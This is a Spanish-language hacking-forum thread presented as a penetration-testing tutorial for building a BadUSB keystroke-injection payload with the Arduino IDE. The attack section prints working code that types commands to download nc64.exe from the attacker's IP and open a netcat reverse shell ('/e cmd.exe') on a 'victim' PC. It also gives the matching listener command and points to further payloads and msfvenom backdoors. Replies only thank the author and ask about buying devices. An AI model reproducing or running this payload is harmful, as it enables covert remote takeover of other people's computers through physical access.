Underc0de - Hacking y seguridad informática

[In]Seguridad Informática => Hacking => Mensaje iniciado por: BrowserNet en Septiembre 27, 2019, 05:51:51 pm

Título: Penetration testing con BadUSB
Publicado por: BrowserNet en Septiembre 27, 2019, 05:51:51 pm
Hola estimados hermanos de underc0de es un placer nuevamente estar con ustedes luego de 2 años de estar ausente del foro.
Un saludo grande para los administradores, moderadores y todos los usuarios en general, un fuerte abrazo para cada uno de ustedes.

En esta oportunidad les enseñare a crear sus propios Scripts para su dispositivo de Hackeo BAD USB(rubber ducky)

¿Que es Bad USB?

Bad USB es un dispositivo USB que se comporta como otro dispositivo de teclado automatizado, que permite utilizar este dispositivo de manera maliciosa para ataques de pentesting de manera local.

Características:


Este dispositivo se puso de "moda" en el año 2014 y hasta el día de hoy se sigue utilizando por su eficacia.

Existe un gran demanda de estos dispositivos en varias plataformas de e commerce a nivel mundial.

(https://1.bp.blogspot.com/-E3RxLd8dMNE/XKQVcX8e9AI/AAAAAAAAEcc/sy5LfJQSX3MB_gTd5O9vYlp2orK6YcgLwCLcBGAs/s1600/Captura%2Bde%2Bpantalla%2Bde%2B2019-04-02%2B21-07-33.png)

https://www.ebay.com/sch/i.html?_from=R40&_trksid=p2380057.m570.l1313.TR12.TRC2.A0.H0.Xbad+usb.TRS0&_nkw=bad+usb&_sacat=0

A continuación vamos a descargar el IDE Arduino.
(Dependiendo su sistema y arquitectura)

https://www.arduino.cc/en/Main/Software (https://www.arduino.cc/en/Main/Software)

(https://3.bp.blogspot.com/-35bpB5_Q_kM/XKQWo6hFAzI/AAAAAAAAEco/ff2lQosYL5oS3DQtVKMBAahgdPeRIYbMwCLcBGAs/s1600/Captura%2Bde%2Bpantalla%2Bde%2B2019-04-02%2B21-12-38.png)


Instalación:

tar -Jxf arduino-1.8.9-linux64.tar.xz
cd arduino-1.6.12/
./install.sh

Antes de comenzar a crear el script vamos a repasar un poco de arduino.

¿Qué es Arduino?

Arduino es una plataforma y, como tal, dispone de varios elementos: hardware, software y lenguaje de programación. Este libro pretende ampliar tu lenguaje de programación y, teniendo en cuenta la base que hemos visto, no necesitamos añadir más conceptos sobre electrónica y hardware, pero si sobre el IDE de Arduino.

Estructuras de control de flujo repetitivas

Este tipo de estructuras son también conocidas como «bucles»; se diferencian de las estructuras no repetitivas en que, siempre y cuando se cumpla la condición o condiciones, se ejecutan las líneas de código una y otra vez sin salir de la estructura

While

Esta estructura ejecuta las instrucciones que se encuentran entre sus llaves de apertura y cierre. ¿Cuántas veces? Se ejecutarán mientras la condición especificada se cumpla, sin ejecutarse ninguna otra línea de código que se encuentre fuera de la estructura.
while(condición)
{
//Instrucciones que se ejecutan mientras se cumpla la condición
}

Ejemplo:

(https://2.bp.blogspot.com/-4a24IzIyono/XKQksZ6HpkI/AAAAAAAAEdA/mWmClUlStq0ybHbEiqHg1Yhsyo-9DAj7QCLcBGAs/s1600/Captura%2Bde%2Bpantalla%2Bde%2B2019-04-02%2B22-12-36.png)
(https://2.bp.blogspot.com/-_R4rLKo0iiY/XKQlAi_uFcI/AAAAAAAAEdI/DFJxxS7umf4gzok2cFBOI4KQ9VrpwOlIACLcBGAs/s1600/Captura%2Bde%2Bpantalla%2Bde%2B2019-04-02%2B22-13-34.png)

Programando en Arduino

Ejemplo 1:

(https://3.bp.blogspot.com/-KVnUj1t4AdI/XKQmIY66mvI/AAAAAAAAEdU/EqDU211AS-QvSoRjzjVPvXKSKglqypXiACLcBGAs/s1600/Captura%2Bde%2Bpantalla%2Bde%2B2019-04-02%2B22-18-50.png)

Ejemplo 2:

(https://4.bp.blogspot.com/-ddLrATjI2-0/XKQma1MTFKI/AAAAAAAAEdc/NKCrQ0YieAMnqRszFRFZnu-rDP3WCkxnQCLcBGAs/s1600/Captura%2Bde%2Bpantalla%2Bde%2B2019-04-02%2B22-19-37.png)

Aprende arduino aquí:
https://circuits.io/search/designs?q=el%20LED%20interno%20del%20ARDUINO (https://circuits.io/search/designs?q=el%20LED%20interno%20del%20ARDUINO)

Una ves instalado el IDE Arduino, ingresamos nuestro Bad USB y buscaremos nuestra placa para poder iniciar la compilación y depuración de nuestro proyecto.

(https://1.bp.blogspot.com/-togwJFIA1uc/XKYlCheKUUI/AAAAAAAAEeI/I6ikLvOWVpInvESQJxUUY0w-51-I9jG8QCLcBGAs/s1600/1.png)

Creando nuestro Backdoor con NC en Arduino IDE

Antes de empezar a explicar un poco el  código fuente debo aclarar que la victima tiene Linux Bash Shell instalado en su sistema y aprovechare esas características para acceder al sistema.

(https://3.bp.blogspot.com/-y3IRDPp9Xpg/XKQnEGVA5QI/AAAAAAAAEdo/Aeeb2h5-m8koTW7fv5vuLE2NVkvLXfEoACLcBGAs/s1600/Captura%2Bde%2Bpantalla%2Bde%2B2019-04-02%2B22-22-10.png)


Explicando el código fuente:

----------------------------------------------------------------------------------------------------------------------

 Keyboard.begin();
// Waiting 500ms for init
  delay(500);

  delay(3000);

  Keyboard.press(KEY_LEFT_GUI);
  Keyboard.press(114);
  Keyboard.releaseAll();
----------------------------------------------------------------------------------------------------------------------

Estamos indicando el dispositivo pulsee la tecla WINDOWS(KEY_LEFT_GUI) y dando Enter(144) en un tempo determinado de 3 segundos.

Algunas teclas expresiones de teclado:
KEY_LEFT_CTRL
KEY_LEFT_SHIFT
KEY_LEFT_ALT
KEY_LEFT_GUI
KEY_RIGHT_CTRL
KEY_RIGHT_SHIFT
KEY_RIGHT_ALT
KEY_RIGHT_GUI
KEY_UP_ARROW
KEY_DOWN_ARROW
KEY_LEFT_ARROW
KEY_RIGHT_ARROW
KEY_BACKSPACE
KEY_TAB
KEY_RETURN
KEY_ESC
KEY_INSERT
KEY_DELETE
KEY_PAGE_UP
KEY_PAGE_DOWN
KEY_HOME
KEY_END
KEY_CAPS_LOCK
KEY_F1
KEY_F2
KEY_F3
KEY_F4
KEY_F5
KEY_F6
KEY_F7
KEY_F8
KEY_F9
KEY_F10
KEY_F11
KEY_F12

Equivalencias de otras unidades de tiempo en milisegundos

Un centisegundo equivale a 10 milisegundos.
Un decisegundo equivale a 100 milisegundos.
Un segundo equivale a 1000 milisegundos.
Un minuto equivale a 60 000 milisegundos.
Una hora equivale a 3 600 000 milisegundos.
Un día equivale a 86 400 000 milisegundo
----------------------------------------------------------------------------------------------------------------------
 delay(500);
 Keyboard.print("cmd");
 delay(500);
 typeKey(KEY_RETURN);
 delay(500);
 Keyboard.print("wget 192.168.0.4&nc64.exe");
 typeKey(KEY_RETURN);
 delay(50);
 Keyboard.print("START nc64.exe 192.168.0.4 8888 /e cmd.exe /d & exit");
 typeKey(KEY_RETURN); 
 delay(500);
 Keyboard.print("exit");
 typeKey(KEY_RETURN);   
}
----------------------------------------------------------------------------------------------------------------------

Keyboard.print - Aquí añadiremos los valores que deseamos digitar de manera automatizada
typeKey(KEY_RETURN) - Boton Enter.

como podemos ver en el código anterior estoy indicando que descargue un ejecutable NC.exe con la dirección IP y el puerto de escucha de mi ordenador, una ves que se conecte me abrirá el CMD de nuestra victima.

Ejecutamos Netcat en nuestro ordenador para la conexión.

Código: You are not allowed to view links. Register or Login
[email protected]:~# nc -l -p 8888
Ahora ingresamos el USB en la PC de nuestra victima para realizar nuestra prueba de concepto.

(https://4.bp.blogspot.com/-5EwoAO4Hieg/XKYicngz9uI/AAAAAAAAEeA/eu65Hr9JzCUbr76YA1h7LUiLofp-S_nHwCPcBGAYYCw/s1600/1.png)

Reverse Shell CMD

(https://2.bp.blogspot.com/-rFCMyau_2vA/XKYnk_0pclI/AAAAAAAAEeU/yO1UoIOz0DM2_8do7F11I3NuEbguU_VTACLcBGAs/s1600/Captura%2Bde%2Bpantalla%2Bde%2B2019-04-04%2B10-45-22.png)

De manera automatizada hemos conseguido acceder al sistema de nuestra victima.
No obstante también pueden subir un backdoor .exe de msfvenom y listo.

Les dejo algunos scripts que pueden utilizar para sus pruebas de concepto:
https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Payloads

Existen herramientas que automatizan los payloads , pero quise hacer este articulo para que comprendas la estructura de un Payload en Arduino.

Saludos.


Título: Re:Penetration testing con BadUSB
Publicado por: DevMexos en Noviembre 07, 2019, 10:08:39 am
Muy bueno  ;D! a favs para cuando al fin pueda conseguir mi ducky... Recomendas algun vendedor en particular? Saludos!
Título: Re:Penetration testing con BadUSB
Publicado por: Bartz en Noviembre 07, 2019, 03:54:40 pm
Gracias por el aporte ! Se ve muy bien !

Te consulto, que es lo que me tengo que fijar a la hora de comprar un USB para que sirva como badusb ?
Título: Re:Penetration testing con BadUSB
Publicado por: 79137913 en Noviembre 08, 2019, 09:14:11 am
HOLA!!!

You are not allowed to view links. Register or Login
Gracias por el aporte ! Se ve muy bien !

Te consulto, que es lo que me tengo que fijar a la hora de comprar un USB para que sirva como badusb ?

Yo tengo varios te doy uno si queres

GRACIAS POR LEER!!!
Título: Re:Penetration testing con BadUSB
Publicado por: Bartz en Noviembre 08, 2019, 09:51:50 am
You are not allowed to view links. Register or Login
HOLA!!!

You are not allowed to view links. Register or Login
Gracias por el aporte ! Se ve muy bien !

Te consulto, que es lo que me tengo que fijar a la hora de comprar un USB para que sirva como badusb ?

Yo tengo varios te doy uno si queres

GRACIAS POR LEER!!!

Gracias Numeros ! (Y)